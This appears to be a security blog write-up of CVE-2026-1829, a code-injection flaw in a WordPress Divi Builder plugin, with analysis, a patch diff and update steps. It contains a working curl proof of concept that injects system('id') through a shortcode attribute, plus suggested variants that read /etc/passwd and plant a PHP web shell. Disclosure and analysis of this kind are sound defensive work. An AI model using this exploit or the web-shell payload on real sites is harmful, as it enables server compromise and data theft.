Content Visibility for Divi Builder WordPress plugin banner

CVE-2026-1829: Contributor+ RCE in Divi Builder Plugin (CVSS 8.8)

CVE-2026-1829 is a CVSS 8.8 (High) Remote Code Execution vulnerability in the Content Visibility for Divi Builder WordPress plugin. An authenticated attacker with Contributor-level access can place arbitrary PHP code in a Divi module shortcode attribute and execute it on the server — without any admin interaction.

Vulnerability Summary

FieldValue
Plugin NameContent Visibility for Divi Builder
Plugin Slugcontent-visibility-for-divi-builder
CVE IDCVE-2026-1829
CVSS Score8.8 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeRemote Code Execution (Code Injection)
Affected Versions<= 4.02
Patched Version5.00
PublishedJune 2, 2026
ResearcherZAST.AI
Wordfence AdvisoryLink

Description

The Content Visibility for Divi Builder plugin lets site owners show or hide Divi modules based on a PHP boolean expression. That expression is stored as the cvdb_content_visibility_check attribute on any Divi shortcode, such as [et_pb_text].

The plugin passes this attribute value directly to PHP’s eval() — with no sanitization, no token checking, and no callable filtering. Because Contributors can create draft posts and preview them, they can inject any PHP code and have it execute on the server the moment the preview loads.

Technical Analysis

Plugin Architecture

Content Visibility for Divi Builder wraps every registered Divi Builder shortcode (including et_pb_text, et_pb_section, and all others) in a custom class called CVDB_ET_Builder_Element. This wrapper intercepts shortcode rendering to check the cvdb_content_visibility_check attribute before deciding whether to render the module.

The two files involved are:

The Vulnerable Function

In includes/plugin.class.php (lines 229–257 of version 4.02):

public static function evaluate_visibility_expression($expression, $type, $data) {
    $visibility = true;

    try {
        eval( '$visibility = ' . $expression . ';' );
    } catch (ParseError | Error $error) {
        // ... error email sent to admin ...
        $visibility = false;
    }

    return $visibility;
}

The $expression parameter is taken directly from the shortcode attribute. There is no validation, no sanitization, and no allowlist. The eval() call builds the string $visibility = <attacker-input>; and executes it.

The Execution Path

  1. A Contributor creates a post containing any Divi shortcode with a malicious cvdb_content_visibility_check attribute.
  2. When the post is previewed, WordPress renders the shortcode by calling the plugin’s cvdb_execute() method (cvdb-et-builder-element.class.php, line 70).
  3. The method reads the attribute value at line 97:
$visibility = ContentVisibilityForDiviBuilder::evaluate_visibility_expression(
    str_replace( array( '%22', '%5D' ), array( '"', ']' ), $atts['cvdb_content_visibility_check'] ),
    'shortcode',
    $this->wrapped_element
);
  1. The plugin applies a simple str_replace for URL-encoded characters, then passes the value directly to evaluate_visibility_expression().
  2. eval() executes the attacker’s code on the server.

The str_replace for %22" and %5D] is not a security control — it is a Divi Builder encoding compatibility shim. It does not prevent code injection.

Why Contributors Can Exploit This

Contributors in WordPress can:

WordPress processes shortcodes when rendering the post preview. The cvdb_execute() handler has no check for is_user_logged_in() with a high-privilege role, nor does it check who authored the post. Any preview of a post containing the shortcode will trigger the eval().

Because Contributors can preview their own drafts — without admin approval — they can trigger the RCE immediately after creating the post.

Proof of Concept

Disclaimer: This proof of concept is provided for educational purposes only. Testing should only be performed on systems you own or have explicit written permission to test.

Prerequisites:

Step 1 — Authenticate and get a nonce

# Get a login nonce first
LOGIN_NONCE=$(curl -sc cookies.txt "http://target.test/wp-login.php" \
  | grep -oP '(?<=name="wploginform" value=")[^"]+')

# Log in as a Contributor
curl -sb cookies.txt -c cookies.txt "http://target.test/wp-login.php" \
  -d "log=contributor&pwd=password&wploginform=${LOGIN_NONCE}&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -H "Cookie: wordpress_test_cookie=WP+Cookie+check" -L -o /dev/null

# Get a REST API nonce
REST_NONCE=$(curl -sb cookies.txt "http://target.test/wp-admin/admin-ajax.php?action=rest-nonce" | tr -d '"')

Step 2 — Create a draft post with the malicious shortcode

# The payload: system('id') returns the OS user — proof of RCE
PAYLOAD='system('\''id'\'')// '

POST_ID=$(curl -sb cookies.txt \
  "http://target.test/wp-json/wp/v2/posts" \
  -H "Content-Type: application/json" \
  -H "X-WP-Nonce: ${REST_NONCE}" \
  -d "{
    \"title\": \"Test\",
    \"content\": \"[et_pb_text cvdb_content_visibility_check=\\\"${PAYLOAD}\\\"]Hello[/et_pb_text]\",
    \"status\": \"draft\"
  }" | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")

echo "Draft post ID: $POST_ID"

Step 3 — Preview the post to trigger RCE

# Request the preview — the shortcode is rendered, eval() fires
curl -sb cookies.txt \
  "http://target.test/?p=${POST_ID}&preview=true" | grep -o 'uid=[0-9]*.*'

Expected output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

The output from system('id') appears in the page source because system() prints its result directly to output. This confirms arbitrary command execution on the server.

Verification

Replace system('id') with file_get_contents('/etc/passwd') to read arbitrary files, or with file_put_contents('/var/www/html/shell.php','<?php system($_GET[0]);') to plant a web shell.

Patch Analysis

Version 5.00 introduces a comprehensive token-based expression validation system. The fix has three components:

1. validate_expression() — token allowlist + callable denylist

The new validate_expression() method (plugin.class.php, line 402) tokenizes the expression using PHP’s token_get_all() and enforces:

2. Publish gate in SecurityScanner

The new SecurityScanner class hooks into wp_insert_post_data and rest_pre_insert_post to block publishing when expressions fail validation. When validation is enabled:

3. Isolated eval() in global namespace helper

The eval() call is moved to includes/global-eval-helper.php, a file with no PHP namespace declaration:

function cvdb_eval_expression( $expression ) {
    return eval( 'return ' . $expression . ';' );
}

Callers inside the plugin’s namespace now invoke \cvdb_eval_expression(). This ensures that expressions resolve functions and constants against the global namespace (matching user expectations) while centralizing the single eval() call site for easier auditing.

Note: The validation system is opt-in — it must be enabled by an administrator via the plugin settings. However, the publish gate and the token/callable denylist provide meaningful protection even without full validation mode enabled.

The Key Diff

 public static function evaluate_visibility_expression($expression, $type, $data) {
     $visibility = true;
 
+    $validation_enabled = get_option( self::$validation_option_key );
+    if ( $validation_enabled === '1' ) {
+        $validation_result = self::validate_expression( $expression );
+        if ( $validation_result !== true ) {
+            // log and return $visibility (default: show content)
+            return $visibility;
+        }
+    }
+
     try {
-        eval( '$visibility = ' . $expression . ';' );
+        $visibility = (bool) \cvdb_eval_expression( $expression );
     } catch (\ParseError | \Error $error) {

Timeline

DateEvent
June 2, 2026Vulnerability publicly disclosed by Wordfence
June 2, 2026Patched version 5.00 released
June 7, 2026Blog post published

Remediation

Update the Content Visibility for Divi Builder plugin to version 5.00 or later immediately.

  1. Go to WordPress Admin → Plugins → Installed Plugins
  2. Find Content Visibility for Divi Builder
  3. Click Update Now

After updating, navigate to the plugin’s settings and enable expression validation to activate the full security protection. The plugin’s API Reference page (Tools → Content Visibility for Divi Builder API Reference → Security tab) also provides a content scanner to audit existing posts for dangerous expressions.

If you cannot update immediately, consider removing the plugin or restricting Contributor-level access on your site until the update can be applied.

References

  1. Wordfence Advisory — CVE-2026-1829
  2. Trac — Vulnerable source: plugin.class.php#L229
  3. Trac — Patch changeset 3543621
  4. CVE Record — CVE-2026-1829

Frequently Asked Questions

What is CVE-2026-1829?

CVE-2026-1829 is a CVSS 8.8 High severity Remote Code Execution vulnerability in the Content Visibility for Divi Builder WordPress plugin. An authenticated attacker with Contributor-level access can run arbitrary PHP code on the server by placing a malicious expression in a Divi module shortcode.

Which versions of Content Visibility for Divi Builder are affected by CVE-2026-1829?

All versions up to and including 4.02 are affected. Version 5.00 contains the fix.

What can an attacker do with CVE-2026-1829?

An attacker can execute any PHP code on the server. This includes reading sensitive files, running system commands, creating backdoors, and fully compromising the site.

Does an attacker need to be logged in to exploit CVE-2026-1829?

Yes. The attacker must have at least Contributor-level access to the WordPress site. Contributor accounts can create draft posts and preview them, which is enough to trigger the exploit.

How do I fix CVE-2026-1829 in Content Visibility for Divi Builder?

Update Content Visibility for Divi Builder to version 5.00 or later from the WordPress admin dashboard or wordpress.org.

Has Content Visibility for Divi Builder been patched for CVE-2026-1829?

Yes. Version 5.00 was released on June 2, 2026 and resolves this vulnerability by adding expression validation with a token-based allowlist and callable denylist.

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee